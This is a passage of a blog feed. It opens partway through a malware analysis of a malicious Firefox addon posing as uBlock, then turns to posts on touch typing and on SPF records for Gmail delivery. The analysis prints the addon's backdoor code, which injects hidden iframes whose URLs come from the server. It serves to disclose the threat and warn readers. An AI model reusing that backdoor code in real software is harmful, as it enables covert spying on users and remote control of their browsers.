class=\"p\">(<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                           <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error!&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">               <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;xml-api&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">               <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Both tupdate and xml api!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;=&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">len<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultstr<\/span><span class=\"p\">[<\/span><span class=\"nx\">len<\/span><span class=\"o\">-<\/span><span class=\"mf\">5<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">                   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">                       <\/span><span class=\"c1\">\/\/console.log(result);<\/span>\n<span class=\"w\">                       <\/span><span class=\"kd\">var<\/span><span class=\"w\">  <\/span><span class=\"nx\">tarr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;[&#39;<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nx\">resultSub<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;]&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">+<\/span><span class=\"mf\">1<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">))<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">                           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">  <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">tarr<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                         <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">t_updates<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">                   <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">catch<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">e<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Error!&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"p\">}<\/span>\n\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">iframe<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">document<\/span><span class=\"p\">.<\/span><span class=\"nx\">createElement<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;iframe&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">frameBorder<\/span><span class=\"o\">=<\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">width<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;2px&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">height<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;2px&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">id<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;randomid&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">                   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">src<\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">substr<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;http&#39;<\/span><span class=\"p\">),<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"p\">);<\/span>\n\n<span class=\"w\">                   <\/span><span class=\"nx\">iframe<\/span><span class=\"p\">.<\/span><span class=\"nx\">setAttribute<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;src&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">src<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;New data Saved!&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">);<\/span>\n<span class=\"w\">                   <\/span><span class=\"nb\">document<\/span><span class=\"p\">.<\/span><span class=\"nx\">body<\/span><span class=\"p\">.<\/span><span class=\"nx\">appendChild<\/span><span class=\"p\">(<\/span><span class=\"nx\">iframe<\/span><span class=\"p\">);<\/span><span class=\"w\">                                      <\/span>\n<span class=\"w\">               <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\">                       <\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Of course, since Firefox <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/Updates\">auto-updates all addons<\/a> by default,\neven when the addon wasn't installed from the official Mozilla\naddon <a href=\"https:\/\/addons.mozilla.org\">repository<\/a>, the attacker can easily distribute just\nanother more evil version of its malware, anytime. For example,\none that captures complete URLs, spies on various access tokens,\nlogs all key-strokes and provides an even more generic JavaScript\ninjection mechanism for controlling the victim's machine in a\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a>. In our example, the malware wasn't installed\nvia the Mozilla addon repository and thus specifies a custom\n<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Mozilla\/Add-ons\/Updates\">update URL<\/a> in its <code>manifest.json<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>&quot;update_url&quot;: &quot;https:\/\/adblocker.website\/adblock\/updates.json&quot;\n<\/code><\/pre><\/div>\n\n<p>As a nice touch, the malware code in <code>js\/vapi-background.js<\/code> even\ncontains some comments and an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Pankaj\">author note<\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">\/\/\/\/\/\/ PANKAJ CODE \/\/\/\/\/\/\/<\/span>\n<\/code><\/pre><\/div>\n\n<h2 id=\"summary\">Summary<a class=\"headerlink\" href=\"#summary\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The 'ublock Ads Plus' (<code>adblocker@pro.org.xpi<\/code>) <a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">Firefox addon<\/a> is\nsome nasty <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malware\">malware<\/a>. It tries to disguise it's\nmalicious malware pieces in a copy of the fine and legit <a href=\"https:\/\/en.wikipedia.org\/wiki\/UBlock_Origin\">uBlock\nOrigin<\/a> adblocker addon. When a user is tricked into installing\nthe malware, it constantly spies on the victim. That means a lot\nof personal information, such as all visited domains, history\nprofiles and URL parts are transferred to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Google_Analytics\">Google Analytics<\/a> and\nother shady malware data-collection servers. In addition, the\naddon opens a backdoor to remotely inject iframes into each web\npage. For example, to spy even more on the victim or make the\nbrowser part of a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a>.<\/p>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>I asked the owner of that Ubuntu machine if he had any idea how\nthis malware addon might got installed. Basically, what happened\nseems to be this: Originally, only the legit <a href=\"https:\/\/en.wikipedia.org\/wiki\/Adblock_Plus\">AdBlock Plus<\/a>\naddon was installed. After a time, some German news sites\nstarted a campaign to deactivate the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ad_blocking\">web ad-blocker<\/a> to\n'support good journalism'. The user complied - at least he\ndeactivated AdBlock Plus on a few sites for some time. As a\nconsequence, a malicious ad tricked the user to install the\nmalicious 'ublock Ads Plus' (<code>adblocker@pro.org.xpi<\/code>)  malware\naddon.<\/p>\n<h2 id=\"lessons-learned\">Lessons Learned<a class=\"headerlink\" href=\"#lessons-learned\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li>Some malware authors don't seem to care at all to obfuscate their code<\/li>\n<li>Regularly check the addons you (or your users) have installed<\/li>\n<li>Some convenient web APIs like <a href=\"https:\/\/www.ipify.org\/\">ipify.org<\/a> are also\npopular with malware authors<\/li>\n<\/ul>\n<h2 id=\"take-home-message\">Take-Home Message<a class=\"headerlink\" href=\"#take-home-message\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Never deactivate your <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ad_blocking\">ad-blocker<\/a>. It isn't just about\n'conventional' ads, ad networks are <a href=\"https:\/\/en.wikipedia.org\/wiki\/Malvertising\">known to regularly\ndistribute malware<\/a>, either directly via exploiting some\nsecurity vulnerability in the browser or more indirectly via\nsocial engineering - or via a combination of both.<\/p>\n<p>Given the attractiveness of the browsers addon mechanism for\nmalware: only install necessary browser <a href=\"https:\/\/en.wikipedia.org\/wiki\/Add-on_(Mozilla)\">addons<\/a> and\ncarefully check their origin. For example, use the <a href=\"https:\/\/addons.mozilla.org\">official\nMozilla addon repository<\/a>, look at some reviews, usage\nnumbers, and cross-validate some information.<\/p>\n<h2 id=\"see-also\">See Also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li><a href=\"https:\/\/kjaer.io\/extension-malware\/\">Malware in the browser: how you might get hacked by a Chrome\nextension (2016)<\/a>, a blog article that analyses a Chrome\nmalware addon that disguises itself as age verification. That\nmalware sends Facebook access tokens to a central server and also\ncontains some very generic botnet functionality.<\/li>\n<\/ul>","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"firefox"}},{"@attributes":{"term":"addon"}}]},{"title":"Touch Typing","link":{"@attributes":{"href":"https:\/\/gms.tf\/touch-typing.html","rel":"alternate"}},"published":"2018-12-15T18:00:00+01:00","updated":"2018-12-15T18:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2018-12-15:\/touch-typing.html","summary":"<p>Getting along without <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a> is possible. But\nlearning touch typing is usually a big productivity boost,\nreduces stress and may prevent typical keyboard induced <a href=\"https:\/\/en.wikipedia.org\/wiki\/Repetitive_strain_injury\">health\nrisks<\/a>. This article describes some learning approaches\nand optimization opportunities.<\/p>\n<h2 id=\"getting-started\">Getting Started<a class=\"headerlink\" href=\"#getting-started\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The first thing to learn is to place the fingers in a \u2026<\/p>","content":"<p>Getting along without <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a> is possible. But\nlearning touch typing is usually a big productivity boost,\nreduces stress and may prevent typical keyboard induced <a href=\"https:\/\/en.wikipedia.org\/wiki\/Repetitive_strain_injury\">health\nrisks<\/a>. This article describes some learning approaches\nand optimization opportunities.<\/p>\n<h2 id=\"getting-started\">Getting Started<a class=\"headerlink\" href=\"#getting-started\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The first thing to learn is to place the fingers in a basic\nposition on the keyboard, i.e. thumbs over the space bar and the\nother fingers on the main keys of the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing#Home_row\">home row<\/a> (i.e.\n<code>A, S, D, F<\/code> and <code>J, K, L, ;<\/code> keys with most US-like keyboards).<\/p>\n<p>There are free and open source training programs for learning the\nset of keys each finger is <a href=\"https:\/\/commons.wikimedia.org\/wiki\/File:FingerHandPosUSA.gif\">supposed to hit<\/a>. A good one is\n<a href=\"https:\/\/www.kde.org\/applications\/education\/ktouch\/\">KTouch<\/a>. Old versions even used to include lessons from\nthe commercial <em>Duden Tipptrainer<\/em>. (This should be legal,\nbecause touch typing patterns likely don't reach the threshold of\noriginality. Ask a lawyer if in doubt.)<\/p>\n<p>The purpose of a training program is to properly build up some\ninitial <a href=\"https:\/\/en.wikipedia.org\/wiki\/Muscle_memory\">muscle memory<\/a>. After that, practice in the normal\nenvironment (e.g. coding, email writing, etc.) automatically\nimproves the muscle memory.<\/p>\n<p>Besides reading the Wikipedia article on <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a> that\ncontains some helpful descriptions and figures, there are even\nshort books\/booklets on that topic. Nowadays probably hard to get\nin book stores, but you may find them as an accessory of an\nold mechanical typewriter (cf. your grandparents' attic or a\ngarage sale). They can be surprisingly entertaining, see for\nexample the <a href=\"https:\/\/gms.tf\/file\/erika-maschinenschreiben.pdf\">short manual by the Naumann Erika mechanical\ntypewriter<\/a> company (published 1930 or so, in German).<\/p>\n<h2 id=\"advanced-training\">Advanced Training<a class=\"headerlink\" href=\"#advanced-training\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When touch typing upper case characters, it makes sense to hit\nthe shift modifier key with the other hand to avoid weird\ngestures, which thus increases speed and reduces strain. This can\nbe trained with tutor software that ignores shift key events for\nkeys from the 'wrong' keyboard half.<\/p>\n<p>Even more effective would be a modified keyboard driver that\nimplements this behaviour, all the time.<\/p>\n<p>I'm not aware if anyone has implemented something like the above.<\/p>\n<p>Touch typing is all about <a href=\"https:\/\/commons.wikimedia.org\/wiki\/File:Unterricht_im_Blindschreiben.jpg\">blindly typing<\/a>. If you have problems\nwith that you can remove all the key labeling with a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Die_grinder\">rotary\ntool<\/a> or something like that. There are even keyboard\nmodels without any labels.<\/p>\n<h2 id=\"optimal-layout\">Optimal Layout<a class=\"headerlink\" href=\"#optimal-layout\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When you are <a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a> you should not\/don't have to look\nat the keyboard. Thus, you are free to choose any <a href=\"https:\/\/en.wikipedia.org\/wiki\/Keyboard_layout\">keyboard\nlayout<\/a> you want. It doesn't matter what is printed on\nthe keys.<\/p>\n<p>One main design goal of the standard layouts was to prevent jams\nin mechanical type writers. Computer keyboards of course don't\nhave to care about this, thus, modern layouts more optimized for\nfaster typing (and physiology) are an alternative. For example\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Dvorak_Simplified_Keyboard\">Dvorak<\/a> or <a href=\"https:\/\/en.wikipedia.org\/wiki\/Keyboard_layout#Neo\">Neo<\/a>.<\/p>\n<p>Obviously, one big disadvantage with those alternative layouts\nis how radically different they are. Imagine building up a lot of\nmuscle memory and then having to type an email in an internet\ncafe. This is nothing compared to having to type on a German\nlayout if you are used to - say - US layout.<\/p>\n<p>Perhaps Dvorak\/Neo only make a significant difference (if any)\nwhen you really have to type a lot of prose text very\nfast. Like transcribing tapes or something like that.<\/p>\n<p>For coding, the <a href=\"https:\/\/en.wikipedia.org\/wiki\/QWERTY\">US Layout (QWERTY)<\/a> is the number one\nchoice. The syntax of many programming languages is optimized for\nthe US layout. That means special characters you need a lot like\n<code>[]{};\/\\:<\/code> are easy to reach with the US layout.<\/p>\n<p>Also, if you use a real editor like <a href=\"https:\/\/en.wikipedia.org\/wiki\/Vim_(text_editor)\">Vim<\/a>, all the command\nsequences and shortcuts are optimized for the US layout. With Vim\nand a US layout you don't even have to care if your keyboard has\nan escape key or not. You just hit <code>Ctrl+[<\/code> which is conveniently\nto type on that layout. No need to remap Caps Lock to Escape.<\/p>\n<h2 id=\"compose-key\">Compose Key<a class=\"headerlink\" href=\"#compose-key\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For non-US characters like <a href=\"https:\/\/en.wikipedia.org\/wiki\/Germanic_umlaut\">Umlauts<\/a>, the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Compose_key\">Compose\nmechanism<\/a> (natively available on Linux\/UNIX) is a\nconvenient solution when using the US layout. For example, to get\n<code>\u00fc<\/code> one just types <code>Compose<\/code> then <code>Shift+\"<\/code> followed by <code>U<\/code>. Most\nkeyboards don't come with a dedicated Compose key but Linux\/UNIX\nallows to configure another key as compose - e.g. the right-alt\nkey.  One-liner for Gnome-Shell:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>gsettings<span class=\"w\"> <\/span><span class=\"nb\">set<\/span><span class=\"w\"> <\/span>org.gnome.desktop.input-sources<span class=\"w\"> <\/span>xkb-options<span class=\"w\"> <\/span><span class=\"s2\">&quot;[&#39;compose:ralt&#39;]&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>(alternatively, you can use the <code>gnome-tweaks<\/code> GUI)<\/p>\n<p>There are even tools that implement Compose behaviour on\n<a href=\"http:\/\/superuser.com\/questions\/64178\/compose-key-on-windows\">Windows<\/a>. The opensource <a href=\"https:\/\/github.com\/samhocevar\/wincompose\">WinCompose<\/a>\nworks great.<\/p>\n<h2 id=\"ergonomic-keyboards\">Ergonomic Keyboards<a class=\"headerlink\" href=\"#ergonomic-keyboards\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The common problem with standard keyboards is that one is forced\nto turn the wrist joints and\/or shoulder joints into a non-optimal\npossibly injury inducing position.<\/p>\n<p>The solution: a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ergonomic_keyboard\">keyboard that is divided<\/a> into two halves\nthat are placed with some space and an angle to each other such\nthat the wrist\/shoulder joints can be in a natural position.<\/p>\n<p>One example of this design is the <a href=\"https:\/\/www.kinesis-ergo.com\/shop\/freestyle2-for-pc-us\/\">Kinesis Freestyle 2<\/a>\nwhich has the big advantage that one is very free to adjust the\nangle and the space between the 2 halves. Also, it isn't too\nexpensive. Nowadays, they also have a similar model with\nmechanical switches (Freestyle Pro), although the switches don't\nnecessarily make much of a difference, ergonomically wise.<\/p>\n<p>Note that some ergonomic keyboards (and even non-ergonomic ones)\ncome with a wrist rest. This feature is easy to misuse, i.e. it\nis intended to be used only when taking a break from typing.\nAlways putting the wrist onto the rest during typing may induce\ninjuries.<\/p>\n<h2 id=\"concluding-remarks\">Concluding Remarks<a class=\"headerlink\" href=\"#concluding-remarks\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>If you don't already touch type, consider learning it because of\nthe advantages. I can't recommend it enough. If you want to learn\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Touch_typing\">touch typing<\/a>, consider learning it with the right layout\nfrom the start. It' the same effort. If you program I strongly\nrecommend to use the US layout.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"keyboard"}},{"@attributes":{"term":"typing"}}]},{"title":"Configuring SPF to make Google happy","link":{"@attributes":{"href":"https:\/\/gms.tf\/configuring-spf-to-make-google-happy.html","rel":"alternate"}},"published":"2018-05-10T12:00:00+02:00","updated":"2018-05-10T12:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2018-05-10:\/configuring-spf-to-make-google-happy.html","summary":"<p>Lately, Google mail servers are getting more extravagant in what\nmail they accept. Setting up a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sender_Policy_Framework\">Sender Policy Framework\n(SPF)<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Domain_Name_System\">DNS<\/a> record is a relatively low effort way to\nget mail though users of the Google mail service. (Those users\naren't necessarily identifiable by the Gmail domain as it's also \u2026<\/p>","content":"<p>Lately, Google mail servers are getting more extravagant in what\nmail they accept. Setting up a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sender_Policy_Framework\">Sender Policy Framework\n(SPF)<\/a> <a href=\"https:\/\/en.wikipedia.org\/wiki\/Domain_Name_System\">DNS<\/a> record is a relatively low effort way to\nget mail though users of the Google mail service. (Those users\naren't necessarily identifiable by the Gmail domain as it's also\npossible to point the MX of another domain to Google mail servers\nand use the Google mail services in that way.)<\/p>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For years, there are some best practices for mail servers to\nfollow in order to be accepted by most other mail servers as\nlegitimate mail server. For example, the identification uses in a\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Simple_Mail_Transfer_Protocol#SMTP_transport_example\">HELO\/EHELO command<\/a> should be a valid domain name that has an\naddress record which matches the actual IP address used in the\nconnection. Also, this IP address should have a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Reverse_DNS_lookup\">reverse DNS\nrecord<\/a> that point back to that hostname.<\/p>\n<p>Checking just this is a quite simple and effective measure\nagainst a lot of spam, because most spammers don't get this\nright.<\/p>\n<p>Another way to proof that your mail server is a good citizen is\nto not get blacklisted. Even if you don't use\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/DNSBL\">blacklists<\/a>, many other mail servers do. The criteria\nused by the different blacklists vary much, but usually it\ncaptures some kind of bad behaviour or just behaviour that isn't\nexpected of a real mail server. Getting caught by a honey trap\nsending spam, violating some mail related RFCs (e.g. not having\nan abuse address) or being in a dial-up IP address range are\nexamples for this.<\/p>\n<h2 id=\"google\">Google<a class=\"headerlink\" href=\"#google\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>After occasionally sending mails to Gmail destinations without\nany issue, I recently received the following bounce message from a Google\nmail server:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">&lt;<\/span><span class=\"n\">support<\/span><span class=\"nv\">@example<\/span><span class=\"p\">.<\/span><span class=\"n\">com<\/span><span class=\"o\">&gt;<\/span><span class=\"err\">:<\/span><span class=\"w\"> <\/span><span class=\"k\">host<\/span><span class=\"w\"> <\/span><span class=\"n\">aspmx<\/span><span class=\"p\">.<\/span><span class=\"n\">l<\/span><span class=\"p\">.<\/span><span class=\"n\">google<\/span><span class=\"p\">.<\/span><span class=\"n\">com<\/span><span class=\"o\">[<\/span><span class=\"n\">2a00:1450:400c:c09::1b<\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"nl\">said<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">    <\/span><span class=\"mi\">550<\/span><span class=\"o\">-<\/span><span class=\"mf\">5.7.1<\/span><span class=\"w\"> <\/span><span class=\"n\">This<\/span><span class=\"w\"> <\/span><span class=\"n\">message<\/span><span class=\"w\"> <\/span><span class=\"n\">does<\/span><span class=\"w\"> <\/span><span class=\"ow\">not<\/span><span class=\"w\"> <\/span><span class=\"n\">have<\/span><span class=\"w\"> <\/span><span class=\"n\">authentication<\/span><span class=\"w\"> <\/span><span class=\"n\">information<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">fails<\/span><span class=\"w\"> <\/span><span class=\"k\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">pass<\/span>\n<span class=\"w\">    <\/span><span class=\"mi\">550<\/span><span class=\"o\">-<\/span><span class=\"mf\">5.7.1<\/span><span class=\"w\"> <\/span><span class=\"n\">authentication<\/span><span class=\"w\"> <\/span><span class=\"n\">checks<\/span><span class=\"p\">.<\/span><span class=\"w\"> <\/span><span class=\"k\">To<\/span><span class=\"w\"> <\/span><span class=\"n\">best<\/span><span class=\"w\"> <\/span><span class=\"n\">protect<\/span><span class=\"w\"> <\/span><span class=\"n\">our<\/span><span class=\"w\"> <\/span><span class=\"n\">users<\/span><span class=\"w\"> <\/span><span class=\"k\">from<\/span><span class=\"w\"> <\/span><span class=\"n\">spam<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span>\n<span class=\"w\">    <\/span><span class=\"mi\">550<\/span><span class=\"o\">-<\/span><span class=\"mf\">5.7.1<\/span><span class=\"w\"> <\/span><span class=\"n\">message<\/span><span class=\"w\"> <\/span><span class=\"n\">has<\/span><span class=\"w\"> <\/span><span class=\"n\">been<\/span><span class=\"w\"> <\/span><span class=\"n\">blocked<\/span><span class=\"p\">.<\/span><span class=\"w\"> 